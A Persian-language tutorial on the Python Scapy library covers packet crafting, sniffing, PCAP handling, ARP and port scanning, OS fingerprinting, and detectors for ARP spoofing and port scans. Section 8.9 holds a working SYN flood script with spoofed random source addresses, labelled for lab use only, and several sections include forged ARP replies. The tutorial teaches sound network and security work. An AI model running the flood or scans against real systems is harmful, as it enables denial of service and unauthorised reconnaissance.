VulnCity

Scapy در Python: ابزار قدرتمند تحلیل و دستکاری ترافیک شبکه

نویسنده: یاسین عابدینی · دسته: Tools · تاریخ انتشار: ۱۴۰۵/۲/۲۷

راهنمای جامع Scapy: ابزار پیشرفته دستکاری و تحلیل بسته‌های شبکه در Python

مقدمه

Scapy یکی از قدرتمندترین و انعطاف‌پذیرترین کتابخانه‌های Python برای کار با بسته‌های شبکه است. این ابزار به شما امکان می‌دهد تا بسته‌های شبکه را در تمام لایه‌های مدل OSI بسازید، ارسال کنید، دریافت کنید، تحلیل کنید و حتی آن‌ها را دستکاری نمایید. برخلاف ابزارهای سنتی که محدودیت‌های خاصی دارند، Scapy به شما کنترل کامل بر روی هر بایت از بسته‌های شبکه می‌دهد.

این کتابخانه برای طیف گسترده‌ای از کاربران مفید است:

  • متخصصان امنیت سایبری: برای تست نفوذ، شناسایی آسیب‌پذیری‌ها و تحلیل ترافیک مخرب
  • مهندسان شبکه: برای عیب‌یابی، نظارت بر شبکه و تست پروتکل‌ها
  • محققان: برای توسعه پروتکل‌های جدید و تحلیل رفتار شبکه
  • توسعه‌دهندگان: برای ساخت ابزارهای سفارشی شبکه و اتوماسیون

1. نصب و راه‌اندازی

1.1 نصب Scapy

pip install scapy

1.2 وارد کردن کتابخانه

from scapy.all import *

1.3 نیازمندی‌های سیستمی

برای استفاده کامل از Scapy، ممکن است نیاز به دسترسی root یا مجوزهای ادمین داشته باشید، زیرا بسیاری از عملیات شبکه نیاز به دسترسی سطح پایین دارند.

# در لینوکس
sudo python3 script.py

# یا استفاده از capabilities
sudo setcap cap_net_raw=eip /usr/bin/python3

2. معماری و ساختار Scapy

2.1 مفهوم لایه‌بندی

Scapy از مدل لایه‌ای استفاده می‌کند که هر لایه را می‌توان با استفاده از عملگر / به هم متصل کرد:

# ساختار کلی
Layer1() / Layer2() / Layer3() / Payload

# مثال عملی
Ether() / IP() / TCP() / Raw()

2.2 لایه‌های اصلی

  • Ether: لایه پیوند داده (Layer 2)
  • IP, IPv6: لایه شبکه (Layer 3)
  • TCP, UDP, ICMP: لایه انتقال (Layer 4)
  • DNS, HTTP, DHCP: لایه کاربرد (Layer 7)
  • Raw: داده‌های خام

3. ساخت بسته‌های شبکه

3.1 بسته‌های ICMP

بسته‌های ICMP برای تشخیص وضعیت شبکه و عیب‌یابی استفاده می‌شوند:

# بسته ICMP ساده (ping)
icmp_packet = IP(dst="8.8.8.8")/ICMP()

# بسته ICMP با پارامترهای سفارشی
icmp_custom = IP(dst="192.168.1.1", ttl=64)/ICMP(type=8, code=0, id=12345)

# ICMP Echo Request با داده
icmp_data = IP(dst="1.1.1.1")/ICMP()/Raw(load="Hello Network")

3.2 بسته‌های TCP

پروتکل TCP برای ارتباطات قابل اعتماد استفاده می‌شود:

3.2.1 بسته SYN (آغاز اتصال)

syn_packet = IP(dst="192.168.1.10")/TCP(dport=80, flags="S", seq=1000)

3.2.2 بسته SYN-ACK

synack_packet = IP(dst="192.168.1.10")/TCP(dport=80, sport=12345, flags="SA", seq=2000, ack=1001)

3.2.3 بسته ACK

ack_packet = IP(dst="192.168.1.10")/TCP(dport=80, flags="A", seq=1001, ack=2001)

3.2.4 بسته با محتوا

data_packet = IP(dst='127.0.0.1')/TCP(dport=8080, sport=54321)/Raw(load="GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")

3.2.5 پرچم‌های مختلف TCP

# FIN - پایان اتصال
fin_packet = IP(dst="192.168.1.10")/TCP(dport=80, flags="F")

# RST - ریست اتصال
rst_packet = IP(dst="192.168.1.10")/TCP(dport=80, flags="R")

# PSH - ارسال فوری داده
psh_packet = IP(dst="192.168.1.10")/TCP(dport=80, flags="PA")

# URG - داده فوری
urg_packet = IP(dst="192.168.1.10")/TCP(dport=80, flags="U")

# ترکیب پرچم‌ها
multi_flag = IP(dst="192.168.1.10")/TCP(dport=80, flags="FPU")

3.3 بسته‌های UDP

UDP یک پروتکل بدون اتصال و سریع است:

# بسته UDP ساده
udp_packet = IP(dst="192.168.1.10")/UDP(dport=53)

# DNS Query با UDP
dns_query = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="example.com"))

# بسته UDP با داده
udp_data = IP(dst="192.168.1.10")/UDP(dport=9999)/Raw(load="Test Data")

3.4 بسته‌های ARP

پروتکل ARP برای تبدیل آدرس IP به MAC استفاده می‌شود:

# ARP Request
arp_request = ARP(pdst="192.168.1.1")

# ARP Reply
arp_reply = ARP(op=2, psrc="192.168.1.100", hwsrc="aa:bb:cc:dd:ee:ff", pdst="192.168.1.1")

# Gratuitous ARP
grat_arp = ARP(op=2, psrc="192.168.1.100", hwsrc="aa:bb:cc:dd:ee:ff", pdst="192.168.1.100")

3.5 بسته‌های DNS

# DNS Query
dns_query = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="A"))

# DNS Query برای IPv6
dns_query_ipv6 = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="AAAA"))

# DNS Query برای MX Record
dns_mx = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="gmail.com", qtype="MX"))

3.6 بسته‌های HTTP

# HTTP GET Request
http_get = IP(dst="192.168.1.10")/TCP(dport=80, sport=54321, flags="PA")/Raw(load="GET / HTTP/1.1\r\nHost: example.com\r\nUser-Agent: Scapy\r\n\r\n")

# HTTP POST Request
http_post = IP(dst="192.168.1.10")/TCP(dport=80, flags="PA")/Raw(load="POST /api HTTP/1.1\r\nHost: example.com\r\nContent-Length: 13\r\n\r\ntest=value123")

4. دستکاری لایه Ethernet

4.1 ساخت فریم Ethernet

# فریم Ethernet با آدرس MAC مشخص
eth_frame = Ether(src="aa:bb:cc:dd:ee:ff", dst="11:22:33:44:55:66")/IP(dst="192.168.1.10")/ICMP()

# Broadcast Ethernet
broadcast_frame = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(dst="192.168.1.255")/UDP(dport=67)

# بسته کامل با تمام لایه‌ها
full_packet = Ether(dst='ff:ff:ff:ff:ff:ff')/IP(dst='192.168.20.4')/TCP(dport=8080, flags="S")/Raw(load="welcome to my notes")

4.2 VLAN Tagging

# بسته با VLAN tag
vlan_packet = Ether()/Dot1Q(vlan=100)/IP(dst="192.168.1.10")/ICMP()

# Double VLAN tagging (QinQ)
qinq_packet = Ether()/Dot1Q(vlan=100)/Dot1Q(vlan=200)/IP(dst="192.168.1.10")/TCP(dport=80)

5. ارسال و دریافت بسته‌ها

5.1 توابع ارسال

5.1.1 تابع send() - لایه 3

# ارسال بسته IP
send(IP(dst="192.168.1.10")/ICMP())

# ارسال چندین بسته
send(IP(dst="192.168.1.10")/ICMP(), count=5)

# ارسال با تاخیر بین بسته‌ها
send(IP(dst="192.168.1.10")/ICMP(), inter=1, count=10)  # 1 ثانیه تاخیر

# ارسال بسته از متغیر
yasin = IP(dst='127.0.0.1')/TCP(dport=8080)/Raw(load="test")
send(yasin, verbose=True)

5.1.2 تابع sendp() - لایه 2

# ارسال فریم Ethernet
sendp(Ether()/IP(dst="192.168.1.10")/ICMP(), iface="eth0")

# ارسال بسته broadcast
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.1"), iface="eth0")

5.2 توابع ارسال و دریافت

5.2.1 تابع sr() - Send and Receive لایه 3

# ارسال و دریافت ICMP
ans, unans = sr(IP(dst="8.8.8.8")/ICMP(), timeout=2)

# بررسی پاسخ‌ها
for sent, received in ans:
    print(f"Sent: {sent.summary()}")
    print(f"Received: {received.summary()}")

# بررسی بسته‌های بدون پاسخ
for packet in unans:
    print(f"No response: {packet.summary()}")

5.2.2 تابع sr1() - دریافت اولین پاسخ

# دریافت فقط اولین پاسخ
response = sr1(IP(dst="8.8.8.8")/ICMP(), timeout=2)
if response:
    response.show()
else:
    print("No response received")

5.2.3 تابع srp() - Send and Receive لایه 2

# ارسال و دریافت در لایه Ethernet
ans, unans = srp(Ether()/IP(dst="192.168.1.10")/ICMP(), timeout=2, iface="eth0")

# ARP scan
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)

5.2.4 تابع srloop() - ارسال مکرر

# ارسال مداوم بسته
srloop(IP(dst="192.168.1.10")/ICMP(), inter=1, count=100)

5.3 پارامترهای مهم

  • timeout: زمان انتظار برای دریافت پاسخ (به ثانیه)
  • inter: فاصله زمانی بین ارسال بسته‌ها (به ثانیه)
  • count: تعداد دفعات ارسال
  • iface: رابط شبکه مورد استفاده
  • verbose: نمایش اطلاعات تکمیلی
  • retry: تعداد دفعات تلاش مجدد

6. بررسی و تحلیل بسته‌ها

6.1 نمایش اطلاعات بسته

# نمایش خلاصه
pkt.summary()

# نمایش جزئیات کامل
pkt.show()

# نمایش به صورت درختی
pkt.show2()

# نمایش در قالب hexdump
hexdump(pkt)

# نمایش محتوای خام
raw_data = raw(pkt)
print(raw_data)

6.2 دسترسی به لایه‌ها

# دسترسی با استفاده از براکت
ip_layer = pkt[IP]
tcp_layer = pkt[TCP]

# دسترسی با متد getlayer
ip_layer = pkt.getlayer(IP)
tcp_layer = pkt.getlayer(TCP)

# بررسی وجود لایه
if pkt.haslayer(TCP):
    print("Packet has TCP layer")

# دسترسی به لایه‌های تو در تو
if pkt.haslayer(IP) and pkt.haslayer(TCP):
    print(f"Source: {pkt[IP].src}:{pkt[TCP].sport}")
    print(f"Destination: {pkt[IP].dst}:{pkt[TCP].dport}")

6.3 دسترسی به فیلدهای خاص

# فیلدهای IP
src_ip = pkt[IP].src
dst_ip = pkt[IP].dst
ttl = pkt[IP].ttl
protocol = pkt[IP].proto

# فیلدهای TCP
src_port = pkt[TCP].sport
dst_port = pkt[TCP].dport
seq_num = pkt[TCP].seq
ack_num = pkt[TCP].ack
flags = pkt[TCP].flags
window = pkt[TCP].window

# فیلدهای Ethernet
src_mac = pkt[Ether].src
dst_mac = pkt[Ether].dst

# فیلدهای DNS
if pkt.haslayer(DNS):
    query_name = pkt[DNS].qd.qname
    query_type = pkt[DNS].qd.qtype

6.4 تحلیل پرچم‌های TCP

def analyze_tcp_flags(pkt):
    if pkt.haslayer(TCP):
        flags = pkt[TCP].flags
        flag_list = []
        
        if flags & 0x01:  # FIN
            flag_list.append("FIN")
        if flags & 0x02:  # SYN
            flag_list.append("SYN")
        if flags & 0x04:  # RST
            flag_list.append("RST")
        if flags & 0x08:  # PSH
            flag_list.append("PSH")
        if flags & 0x10:  # ACK
            flag_list.append("ACK")
        if flags & 0x20:  # URG
            flag_list.append("URG")
        
        return ", ".join(flag_list)
    return "No TCP layer"

# استفاده
pkt = IP(dst="192.168.1.10")/TCP(dport=80, flags="SA")
print(analyze_tcp_flags(pkt))  # خروجی: SYN, ACK

6.5 استخراج Payload

# استخراج داده‌های لایه Raw
if pkt.haslayer(Raw):
    payload = pkt[Raw].load
    print(f"Payload: {payload}")

# تبدیل به رشته
if pkt.haslayer(Raw):
    payload_str = pkt[Raw].load.decode('utf-8', errors='ignore')
    print(payload_str)

# استخراج HTTP headers
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
    if pkt[TCP].dport == 80 or pkt[TCP].sport == 80:
        http_data = pkt[Raw].load.decode('utf-8', errors='ignore')
        if 'HTTP' in http_data:
            print(http_data)

7. شنود و ضبط ترافیک شبکه

7.1 شنود ساده

# شنود 10 بسته
packets = sniff(count=10)

# شنود از رابط خاص
packets = sniff(iface="eth0", count=20)

# شنود بدون محدودیت تعداد
packets = sniff(iface="eth0", timeout=30)  # 30 ثانیه

7.2 شنود با فیلتر BPF

# فیلتر ترافیک TCP
packets = sniff(filter="tcp", count=50)

# فیلتر پورت خاص
packets = sniff(filter="tcp and port 80", count=100)

# فیلتر آدرس IP
packets = sniff(filter="host 192.168.1.10", count=50)

# فیلتر ترکیبی
packets = sniff(filter="tcp and dst port 443 and host 192.168.1.10", count=100)

# فیلتر DNS
packets = sniff(filter="udp and port 53", count=50)

# فیلتر ICMP
packets = sniff(filter="icmp", count=20)

7.3 شنود با تابع Callback

# تابع پردازش بسته
def packet_callback(pkt):
    if pkt.haslayer(IP):
        print(f"{pkt[IP].src} -> {pkt[IP].dst}")

# شنود با callback
sniff(prn=packet_callback, count=50)

# استفاده از lambda
sniff(prn=lambda x: x.summary(), filter="tcp", count=20)

# پردازش پیشرفته
def advanced_callback(pkt):
    if pkt.haslayer(TCP):
        if pkt[TCP].flags == "S":
            print(f"SYN packet from {pkt[IP].src} to {pkt[IP].dst}:{pkt[TCP].dport}")
        elif pkt[TCP].flags == "SA":
            print(f"SYN-ACK packet from {pkt[IP].src}:{pkt[TCP].sport}")

sniff(prn=advanced_callback, filter="tcp", count=100)

7.4 شنود با شرط توقف

# توقف با تابع شرطی
def stop_condition(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].flags == "R":
        return True
    return False

packets = sniff(stop_filter=stop_condition, count=1000)

# مثال: توقف پس از دریافت بسته DNS خاص
def stop_on_dns(pkt):
    if pkt.haslayer(DNS) and pkt[DNS].qd:
        if b"google.com" in pkt[DNS].qd.qname:
            return True
    return False

packets = sniff(stop_filter=stop_on_dns, timeout=60)

7.5 ذخیره و بارگذاری بسته‌ها

# ذخیره بسته‌ها در فایل PCAP
packets = sniff(count=100)
wrpcap("capture.pcap", packets)

# ذخیره با فیلتر
packets = sniff(filter="tcp and port 443", count=200)
wrpcap("https_traffic.pcap", packets)

# خواندن از فایل PCAP
packets = rdpcap("capture.pcap")
print(f"Loaded {len(packets)} packets")

# پردازش بسته‌های خوانده شده
for pkt in packets:
    if pkt.haslayer(IP):
        print(pkt[IP].src, "->", pkt[IP].dst)

# ذخیره تدریجی (append mode)
def save_packet(pkt):
    wrpcap("live_capture.pcap", pkt, append=True)

sniff(prn=save_packet, count=1000, store=False)

7.6 شنود پیشرفته با AsyncSniffer

from scapy.all import AsyncSniffer

# شروع شنود غیرهمزمان
sniffer = AsyncSniffer(iface="eth0", filter="tcp")
sniffer.start()

# انجام کارهای دیگر
import time
time.sleep(30)

# توقف شنود
sniffer.stop()

# دسترسی به بسته‌های ضبط شده
packets = sniffer.results
print(f"Captured {len(packets)} packets")

# ذخیره نتایج
wrpcap("async_capture.pcap", packets)

8. کاربردهای عملی پیشرفته

8.1 اسکن شبکه با ARP

def arp_scan(network):
    """
    اسکن شبکه محلی با استفاده از ARP
    network: مثلاً "192.168.1.0/24"
    """
    # ساخت بسته ARP
    arp = ARP(pdst=network)
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether/arp
    
    # ارسال و دریافت
    result = srp(packet, timeout=3, verbose=0)[0]
    
    # نمایش نتایج
    devices = []
    for sent, received in result:
        devices.append({
            'ip': received.psrc,
            'mac': received.hwsrc
        })
    
    return devices

# استفاده
devices = arp_scan("192.168.1.0/24")
print("Devices found:")
for device in devices:
    print(f"IP: {device['ip']:<16} MAC: {device['mac']}")

8.2 اسکن پورت TCP

def tcp_port_scan(target, ports):
    """
    اسکن پورت‌های TCP
    target: آدرس IP هدف
    ports: لیست پورت‌ها
    """
    open_ports = []
    
    for port in ports:
        # ارسال بسته SYN
        pkt = IP(dst=target)/TCP(dport=port, flags="S")
        resp = sr1(pkt, timeout=1, verbose=0)
        
        # بررسی پاسخ
        if resp is not None:
            if resp.haslayer(TCP):
                if resp[TCP].flags == "SA":  # SYN-ACK
                    open_ports.append(port)
                    # ارسال RST برای بستن اتصال
                    rst = IP(dst=target)/TCP(dport=port, flags="R")
                    send(rst, verbose=0)
    
    return open_ports

# استفاده
target_ip = "192.168.1.10"
ports_to_scan = [21, 22, 23, 25, 80, 443, 3306, 8080]
open_ports = tcp_port_scan(target_ip, ports_to_scan)
print(f"Open ports on {target_ip}: {open_ports}")

8.3 اسکن پورت UDP

def udp_port_scan(target, ports):
    """
    اسکن پورت‌های UDP
    """
    open_ports = []
    
    for port in ports:
        pkt = IP(dst=target)/UDP(dport=port)
        resp = sr1(pkt, timeout=2, verbose=0)
        
        if resp is None:
            # احتمالاً پورت باز است (بدون پاسخ)
            open_ports.append(port)
        elif resp.haslayer(ICMP):
            # ICMP port unreachable = پورت بسته
            if resp[ICMP].type == 3 and resp[ICMP].code == 3:
                pass  # پورت بسته
        else:
            # پاسخ دریافت شد = پورت باز
            open_ports.append(port)
    
    return open_ports

# استفاده
udp_ports = [53, 67, 68, 69, 123, 161, 162]
open_udp = udp_port_scan("192.168.1.1", udp_ports)
print(f"Open UDP ports: {open_udp}")

8.4 Traceroute سفارشی

def custom_traceroute(target, max_hops=30):
    """
    پیاده‌سازی traceroute با    Scapy
    """
    print(f"Traceroute to {target}, max {max_hops} hops:\n")
    
    for ttl in range(1, max_hops + 1):
        # ارسال بسته با TTL مشخص
        pkt = IP(dst=target, ttl=ttl)/ICMP()
        reply = sr1(pkt, timeout=2, verbose=0)
        
        if reply is None:
            print(f"{ttl}\t*")
        elif reply.haslayer(ICMP):
            if reply[ICMP].type == 11:  # Time Exceeded
                print(f"{ttl}\t{reply.src}")
            elif reply[ICMP].type == 0:  # Echo Reply
                print(f"{ttl}\t{reply.src} (Destination reached)")
                break
        else:
            print(f"{ttl}\t{reply.src}")
            
        # توقف اگر به مقصد رسیدیم
        if reply and reply.src == target:
            break

# استفاده
custom_traceroute("8.8.8.8")

8.5 شناسایی سیستم عامل (OS Fingerprinting)

def os_fingerprint(target):
    """
    شناسایی سیستم عامل بر اساس پاسخ TCP/IP
    """
    # ارسال بسته SYN
    pkt = IP(dst=target)/TCP(dport=80, flags="S")
    resp = sr1(pkt, timeout=2, verbose=0)
    
    if resp is None:
        return "No response"
    
    # بررسی ویژگی‌های پاسخ
    ttl = resp[IP].ttl
    window = resp[TCP].window if resp.haslayer(TCP) else 0
    
    # تحلیل ساده بر اساس TTL
    if ttl <= 64:
        os_guess = "Linux/Unix"
    elif ttl <= 128:
        os_guess = "Windows"
    else:
        os_guess = "Cisco/Network Device"
    
    return {
        'os': os_guess,
        'ttl': ttl,
        'window': window
    }

# استفاده
result = os_fingerprint("192.168.1.10")
print(f"OS: {result['os']}, TTL: {result['ttl']}, Window: {result['window']}")

8.6 تشخیص Man-in-the-Middle با ARP

def detect_arp_spoofing(interface="eth0", duration=60):
    """
    تشخیص حملات ARP Spoofing
    """
    arp_table = {}
    
    def process_packet(pkt):
        if pkt.haslayer(ARP) and pkt[ARP].op == 2:  # ARP Reply
            ip = pkt[ARP].psrc
            mac = pkt[ARP].hwsrc
            
            if ip in arp_table:
                if arp_table[ip] != mac:
                    print(f"⚠️  ARP Spoofing detected!")
                    print(f"   IP: {ip}")
                    print(f"   Old MAC: {arp_table[ip]}")
                    print(f"   New MAC: {mac}")
            else:
                arp_table[ip] = mac
    
    print(f"Monitoring ARP traffic for {duration} seconds...")
    sniff(iface=interface, prn=process_packet, filter="arp", timeout=duration, store=False)

# استفاده
detect_arp_spoofing("eth0", duration=120)

8.7 استخراج اطلاعات DNS

def dns_sniffer(count=50):
    """
    شنود و تحلیل ترافیک DNS
    """
    dns_queries = []
    
    def process_dns(pkt):
        if pkt.haslayer(DNS) and pkt[DNS].qr == 0:  # DNS Query
            query_name = pkt[DNS].qd.qname.decode('utf-8', errors='ignore')
            query_type = pkt[DNS].qd.qtype
            
            type_map = {1: 'A', 28: 'AAAA', 5: 'CNAME', 15: 'MX', 16: 'TXT'}
            query_type_str = type_map.get(query_type, str(query_type))
            
            dns_queries.append({
                'domain': query_name,
                'type': query_type_str,
                'source': pkt[IP].src if pkt.haslayer(IP) else 'Unknown'
            })
            
            print(f"DNS Query: {query_name} ({query_type_str}) from {pkt[IP].src if pkt.haslayer(IP) else 'Unknown'}")
    
    sniff(filter="udp port 53", prn=process_dns, count=count, store=False)
    return dns_queries

# استفاده
queries = dns_sniffer(count=100)

8.8 تحلیل ترافیک HTTP

def http_traffic_analyzer(count=50):
    """
    تحلیل درخواست‌های HTTP
    """
    http_requests = []
    
    def process_http(pkt):
        if pkt.haslayer(TCP) and pkt.haslayer(Raw):
            if pkt[TCP].dport == 80 or pkt[TCP].sport == 80:
                try:
                    payload = pkt[Raw].load.decode('utf-8', errors='ignore')
                    
                    # شناسایی درخواست HTTP
                    if payload.startswith('GET') or payload.startswith('POST'):
                        lines = payload.split('\r\n')
                        method_line = lines[0]
                        
                        # استخراج Host header
                        host = None
                        for line in lines[1:]:
                            if line.startswith('Host:'):
                                host = line.split(':', 1)[1].strip()
                                break
                        
                        request_info = {
                            'method': method_line.split()[0],
                            'path': method_line.split()[1] if len(method_line.split()) > 1 else '/',
                            'host': host,
                            'source_ip': pkt[IP].src if pkt.haslayer(IP) else 'Unknown'
                        }
                        
                        http_requests.append(request_info)
                        print(f"{request_info['method']} {request_info['host']}{request_info['path']} from {request_info['source_ip']}")
                
                except Exception as e:
                    pass
    
    sniff(filter="tcp port 80", prn=process_http, count=count, store=False)
    return http_requests

# استفاده
requests = http_traffic_analyzer(count=100)

8.9 شبیه‌سازی حمله SYN Flood (فقط برای آزمایش)

def syn_flood_test(target_ip, target_port, count=100):
    """
    ⚠️ فقط برای محیط آزمایشی و با مجوز
    شبیه‌سازی حمله SYN Flood
    """
    from random import randint
    
    print(f"⚠️  Testing SYN flood on {target_ip}:{target_port}")
    print(f"   Sending {count} SYN packets...")
    
    for i in range(count):
        # تولید IP و پورت تصادفی
        src_ip = f"{randint(1,254)}.{randint(1,254)}.{randint(1,254)}.{randint(1,254)}"
        src_port = randint(1024, 65535)
        
        # ساخت بسته SYN
        pkt = IP(src=src_ip, dst=target_ip)/TCP(sport=src_port, dport=target_port, flags="S")
        send(pkt, verbose=0)
        
        if (i + 1) % 10 == 0:
            print(f"   Sent {i + 1}/{count} packets")
    
    print("✓ Test completed")

# ⚠️ استفاده فقط در محیط آزمایشی
# syn_flood_test("192.168.1.100", 80, count=50)

8.10 شناسایی دستگاه‌های فعال با ICMP

def ping_sweep(network):
    """
    شناسایی دستگاه‌های فعال در شبکه با ICMP
    network: مثلاً "192.168.1.0/24"
    """
    from ipaddress import IPv4Network
    
    active_hosts = []
    network_obj = IPv4Network(network, strict=False)
    
    print(f"Scanning {network}...")
    
    # ساخت لیست بسته‌ها
    packets = []
    for ip in network_obj.hosts():
        pkt = IP(dst=str(ip))/ICMP()
        packets.append(pkt)
    
    # ارسال همزمان
    ans, unans = sr(packets, timeout=2, verbose=0)
    
    # پردازش پاسخ‌ها
    for sent, received in ans:
        if received.haslayer(ICMP) and received[ICMP].type == 0:
            active_hosts.append(received[IP].src)
    
    return active_hosts

# استفاده
active = ping_sweep("192.168.1.0/24")
print(f"\nActive hosts ({len(active)}):")
for host in active:
    print(f"  • {host}")

8.11 تحلیل پهنای باند

def bandwidth_monitor(interface="eth0", duration=30):
    """
    نظارت بر پهنای باند مصرفی
    """
    from time import time
    
    start_time = time()
    total_bytes = 0
    packet_count = 0
    
    def process_packet(pkt):
        nonlocal total_bytes, packet_count
        total_bytes += len(pkt)
        packet_count += 1
    
    print(f"Monitoring bandwidth on {interface} for {duration} seconds...")
    sniff(iface=interface, prn=process_packet, timeout=duration, store=False)
    
    elapsed = time() - start_time
    
    # محاسبات
    total_mb = total_bytes / (1024 * 1024)
    avg_mbps = (total_bytes * 8) / (elapsed * 1000000)
    avg_packet_size = total_bytes / packet_count if packet_count > 0 else 0
    
    print(f"\n📊 Statistics:")
    print(f"   Duration: {elapsed:.2f} seconds")
    print(f"   Total packets: {packet_count}")
    print(f"   Total data: {total_mb:.2f} MB")
    print(f"   Average speed: {avg_mbps:.2f} Mbps")
    print(f"   Average packet size: {avg_packet_size:.2f} bytes")

# استفاده
bandwidth_monitor("eth0", duration=60)

8.12 تشخیص Port Scanning

def detect_port_scan(interface="eth0", threshold=20, duration=60):
    """
    تشخیص فعالیت اسکن پورت
    threshold: تعداد پورت‌های مختلف در بازه زمانی کوتاه
    """
    from collections import defaultdict
    from time import time
    
    scan_attempts = defaultdict(lambda: {'ports': set(), 'last_time': 0})
    
    def process_packet(pkt):
        if pkt.haslayer(TCP) and pkt[TCP].flags == "S":  # SYN packet
            src_ip = pkt[IP].src
            dst_port = pkt[TCP].dport
            current_time = time()
            
            # بروزرسانی اطلاعات
            scan_attempts[src_ip]['ports'].add(dst_port)
            scan_attempts[src_ip]['last_time'] = current_time
            
            # بررسی آستانه
            if len(scan_attempts[src_ip]['ports']) >= threshold:
                print(f"⚠️  Possible port scan detected from {src_ip}")
                print(f"   Scanned ports: {len(scan_attempts[src_ip]['ports'])}")
                print(f"   Ports: {sorted(list(scan_attempts[src_ip]['ports']))[:10]}...")
                
                # ریست کردن برای جلوگیری از هشدارهای تکراری
                scan_attempts[src_ip]['ports'].clear()
    
    print(f"Monitoring for port scans on {interface} for {duration} seconds...")
    print(f"Alert threshold: {threshold} different ports\n")
    
    sniff(iface=interface, prn=process_packet, filter="tcp", timeout=duration, store=False)

# استفاده
detect_port_scan("eth0", threshold=15, duration=120)

نتیجه‌گیری

Scapy ابزاری بی‌نظیر برای کار با بسته‌های شبکه است که انعطاف‌پذیری و قدرت فوق‌العاده‌ای را در اختیار کاربران قرار می‌دهد. از ساخت بسته‌های ساده ICMP گرفته تا پیاده‌سازی سیستم‌های پیچیده تشخیص نفوذ، Scapy می‌تواند نیازهای متنوع متخصصان شبکه و امنیت را برآورده کند.

با تسلط بر Scapy، شما قادر خواهید بود تا ابزارهای سفارشی شبکه بسازید، مشکلات پیچیده را عیب‌یابی کنید و درک عمیقی از نحوه عملکرد پروتکل‌های شبکه به دست آورید.